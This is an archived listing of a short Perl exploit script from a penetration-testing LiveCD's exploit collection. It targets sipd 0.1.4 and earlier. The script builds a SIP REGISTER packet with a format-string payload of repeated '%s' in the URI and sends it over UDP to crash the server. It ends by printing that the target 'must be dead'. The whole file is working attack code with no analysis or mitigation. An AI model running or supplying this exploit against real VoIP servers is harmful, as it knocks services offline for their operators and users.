home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / telephony / voip / SIPd-FS.pl < prev   
Encoding:
Perl Script  |  2005-02-12  |  876 b   |  35 lines
  1. #!/usr/bin/perl
  2.  
  3. # SIPd - SIP Password Format String
  4. # Kills sipd version 0.1.4 and prior
  5.  
  6. use IO::Socket;
  7. use strict;
  8.  
  9. unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }
  10.  
  11. my $remote_host = shift(@ARGV);
  12. my $your_host = shift(@ARGV);
  13. my $port = shift(@ARGV);
  14. if ($port eq "")
  15. {
  16.  $port = "5060";
  17. }
  18.  
  19. my $buf = "REGISTER sip::%s%s%s%s%s%s%s%s%s%s%s%s%s%s\@$remote_host SIP/2.0\r\
  20. Via: SIP/2.0/UDP $your_host:3277\r\
  21. From: \"STORM\" <sip:$your_host:3277>\r\
  22. To: <sip:$your_host:3277>\r\
  23. Call-ID: 12312312\@$your_host\r\
  24. CSeq: 1 OPTIONS\r\
  25. Max-Forwards: 70\r\
  26. \r\n";
  27.  
  28. my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
  29. my $ipaddr = inet_aton($remote_host) || $remote_host;
  30. my $portaddr = sockaddr_in($port, $ipaddr);
  31.  
  32. send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
  33.  
  34. print "Now, '$remote_host' must be dead :)\n";
  35.